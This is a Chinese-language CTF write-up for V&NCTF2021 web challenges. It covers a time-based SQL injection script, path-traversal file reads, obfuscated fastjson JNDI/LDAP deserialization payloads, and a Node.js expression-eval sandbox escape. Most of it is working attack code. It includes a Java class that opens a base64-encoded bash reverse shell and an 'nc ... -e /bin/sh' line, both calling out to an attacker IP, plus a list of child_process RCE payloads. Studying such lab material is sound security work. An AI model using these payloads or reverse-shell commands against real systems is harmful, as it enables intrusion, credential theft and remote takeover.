V&NCTF2021

·
CTFWP no tag March 17, 2021

前言

本次V&NCTF题目质量很高,每一道题都值得细致推敲。

realezjvav

考点:笛卡尔积注入 fastjson Rce复现

https://github.com/CaijiOrz/fastjson-1.2.47-RCE

https://github.com/RandomRobbieBF/marshalsec-jar

进去是一个登录框,先测一下过滤。

image.png

image.png

看到ban了很多关于时间的函数,benchmark,sleep,rlike,等,于是考虑笛卡尔积查大表注入。

import requests

result = ""

# ev="select(version())"
# ev="select(group_concat(SCHEMA_NAME))from(information_schema.SCHEMATA)"#week3sqli
# ev="select(group_concat(TABLE_NAME))from(information_schema.TABLES)"
# ev="select(group_concat(TABLE_NAME))from(information_schema.TABLES)WHERE(TABLE_SCHEMA)LIKE(0x7765656b3373716c69)"#u5ers
# ev="select(group_concat(COLUMN_NAME))from(information_schema.COLUMNS)WHERE(TABLE_SCHEMA)LIKE(0x7765656b3373716c69)"p@ssword usern@me
ev = "select(group_concat(`p@ssword`))from(u5ers)"
for i in range(12,10000):
    min_value = 32
    max_value = 130
    mid = (min_value+max_value)//2 #中值
    while(min_value<max_value):
        # payload ={"username" : "admin'^" + "(ascii(substr((load_file('/etc/apache2/sites-available/000-default.conf')),{0},1))>{1})".format(i,mid)+"#","password":"1"}
        # payload ={"username" : "admin'^" + "(ascii(substr((select database()),{0},1))>{1})".format(i,mid)+"#","password":"1"}
        import requests

        burp0_url = "http://c56083ac-9da0-437e-9b51-5db047b150aa.jvav.vnctf2021.node4.buuoj.cn:82/user/login"
        burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "https://jailbreak.liki.link", "Connection": "close", "Referer": "https://jailbreak.liki.link/", "X-Forwarded-For": "127.0.0.1", "X-Originating-IP": "127.0.0.1"}
        burp0_data = {"username": "admin", "password": f"a'^(if(ascii(substr(password,{i},1))>{mid},(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,information_schema.columns/**/B,information_schema.tables/**/C),1))#"}
        html=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
        # print(payload)
        # print(html.text)
        sec=html.elapsed.seconds
        if sec > 1:
                #ascii值比mid值大
            min_value = mid+1   
        else:
            max_value = mid
        mid = (min_value+max_value)//2
        #找不到目标元素时停止
    # if(chr(mid)==" "):
    #     break
    result += chr(mid)
    print(result)
print("fina flag:",result)
#no_0ne_kn0w_th1s

进去以后查看源代码,里面有个任意文件读取

image.png

尝试读一下pom.xml

/searchimage?img=../../../../../pom.xml

读出来以后有fastjson,想到fastjson的漏洞

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.27</version>
</dependency>

https://github.com/CaijiOrz/fastjson-1.2.47-RCE

用原来的payload会被拦截。

在json格式中,可以通过unicode编码来bypass某些waf。这个点曾经在西湖论剑easyjson这道题中出过。

在fastjson中,有了更多的姿势,比如16进制,插入注释等。此外,P神还在星球总结了xml,yaml`php serialize`格式的bypass方法。有兴趣的小伙伴可以去看看

image.png

0x01 测试外连

{"name":{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class","val":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"ldap://47.97.123.81:11451","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}}

测一下发现服务器可以接到数据。

image.png

0x02 准备LDAP服务和Web服务

https://github.com/RandomRobbieBF/marshalsec-jar

将marshalsec-0.0.3-SNAPSHOT-all.jar文件和Exploit.java放在同一目录下

在当前目录下运行LDAP服务,修改IP为当前这台服务器的IP

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://47.97.123.81/#Exploit 11452

在当前目录下运行web服务

python3 -m http.server 80 或者 python -m SimpleHTTPServer 80

或者直接在服务器根目录也行,不过一定要是80端口

0x03 修改Exploit并编译成class文件

修改Exploit.java中的反弹IP和端口(准备接收反弹SHELL的服务器IP和监听端口)

使用javac编译Exploit.java,生成Exploit.class文件(注意:javac版本最好与目标服务器接近,否则目标服务器无法解析class文件,会报错)

给出一个弹shell的java文件

public class Exploit{
    public Exploit(){
        try{
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ny4xMjMuODEvMTE0NTEgMD4mMQ==}|{base64,-d}|{bash,-i}");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

在打之前建议先本地试一下能不能弹shell。

0x04 执行

payload

{"name":{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class","val":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"ldap://47.97.123.81:11452/Exploit","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}}

image.png

之后,靶机会访问我们的服务器,下载Exploit.class到靶机。

然后运行。我们的服务器也会弹到shell

image.png

当然。因为用的是fastjson,十六进制编码也行

{"name":{"\x40\x74\x79\x70\x65":"java.lang.Class","val":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c"},"x":{"\x40\x74\x79\x70\x65":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","dataSourceName":"ldap://47.97.123.81:11452/Exploit","\x61\x75\x74\x6f\x43\x6f\x6d\x6d\x69\x74":true}}

naive

题目总体还不错,就是逆向有点恶心,属实不应该出现在单人赛中。

要是可以读到main.cc那么还可以做,可惜的是这道题main.cc好像被删掉了。导致直接卡死在逆向上。

import express from "express";
import bindings from "bindings";
import { fileURLToPath } from 'url'
import path from "path";

import pkg from 'expression-eval';
const { eval: eval_, parse } = pkg;

const addon = bindings("addon");

const file = fileURLToPath(import.meta.url);

const app = express();
app.use(express.urlencoded({ extended: true }));

app.use(express.static("static"));

app.use("/eval", (req, res) => {
  const e = req.body.e;
  const code = req.body.code;
  if (!e || !code) {
    res.send("wrong?");
    return;
  }
  try {
    if (addon.verify(code)) {
      res.send(String(eval_(parse(e))));
    } else {
      res.send("wrong?");
    }
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

app.use("/source", (req, res) => {
  let p = req.query.path || file;
  p = path.resolve(path.dirname(file), p);
  if (p.includes("flag")) {
    res.send("no flag!");
  } else {
    res.sendFile(p);
  }
});

app.use((err, req, res, next) => {
  console.log(err)
  res.redirect("index.html");
});

app.listen(process.env.PORT || 80);

source路由那里可以读源码。尝试读包文件,看看有什么依赖

/source?path=../package.json

给了路径

{
  "name": "name",
  "version": "0.1.1",
  "description": "Description",
  "private": true,
  "main": "src/index.js",
  "type": "module",
  "scripts": {
    "start": "node src/index.js",
    "build:native": "node-gyp rebuild",
    "build:native:dev": "node-gyp rebuild --debug"
  },
  "dependencies": {
    "bindings": "^1.5.0",
    "express": "^4.17.1",
    "expression-eval": "^4.0.0",
    "node-addon-api": "^3.0.2",
    "seval": "^2.0.1"
  },
  "devDependencies": {
    "@types/express": "^4.17.8",
    "@types/node": "^14.10.1",
    "node-gyp": "^7.1.2",
    "prettier": "^2.0.5"
  }
}

http://nodejs.cn/api/addons.html

可以查阅文档得到关键文件的目录binding.gyp build/Release/addon.node

../build/Release/addon.node
../binding.gyp

逆向可以得到验证码

if (addon.verify(code)) {
    res.send(String(eval_(parse(e))));
}

这里是用addon中的验证码。

yoshino-s_want_a_gf,qq1735439536

然后就是expression-eval逃逸了。

于是开始尝试代码执行,用了两个constructor,第一个返回到String,第二个返回到Function才可以导入模块

(1).constructor.constructor()

常规的RCEpayload是打不通的,因为这道题用的是ES6不是CommonJS

在package.json中,"type": "module"

这点在读出的源码和常规node源码导入模块不同也可以发现

http://www.ruanyifeng.com/blog/2020/08/how-nodejs-use-es6-module.html

image.png

在这里,require()是用不了的。只能用import

那么怎么用一句话的import进行RCE就是要解决的问题

最终发现了动态加载模块可以执行命令

image.png

(1).constructor.constructor("return import('child_process').then((module)=>{module.exec('nc 47.97.123.81 11451 -e /bin/sh')})")();

这里没有回显,执行成功只会显示[object Promise]于是弹个shell回来

image.png

还有一种姿势是把flag写到static下cat /flag > static/flaaagg

然后直接下载flag

nodejs支持设置静态目录从而实现直接访问

总结

立即调用表达式

https://developer.mozilla.org/zh-CN/docs/Glossary/IIFE

(function () {
    statements
})();

是一个在定义时就会直接执行的Javascript函数

node.js代码执行payload总结

require('child_process').exec('calc');
global.process.mainModule.constructor._load('child_process').exec('calc')   无require
import('child_process').then((module)=>{module.exec('calc')})

Function对象&anonymous匿名函数

functionName = new Function( [argname1, [... argnameN,]] body );

例子:

var say = new Function("name","return name");
console.dir(say);
console.dir(say("Lily"));

输出

[Function: anonymous]
'Lily'

通过匿名函数 constructor RCE

son=1
console.log(typeof(son))
console.log(son.constructor)
console.log(son.constructor.constructor)
son.constructor.constructor("return global.process.mainModule.constructor._load('child_process').exec('calc')")()

Easy_laravel

因为laravel的链子还没有开始跟,所以就暂时先咕了。。

  • D^3CTF 2021
  • pickle反序列化初探
取消回复

说点什么?
Title
0x01 测试外连
0x02 准备LDAP服务和Web服务
0x03 修改Exploit并编译成class文件
0x04 执行
总结

© 2023 Yang_99的小窝. Using Typecho & Moricolor.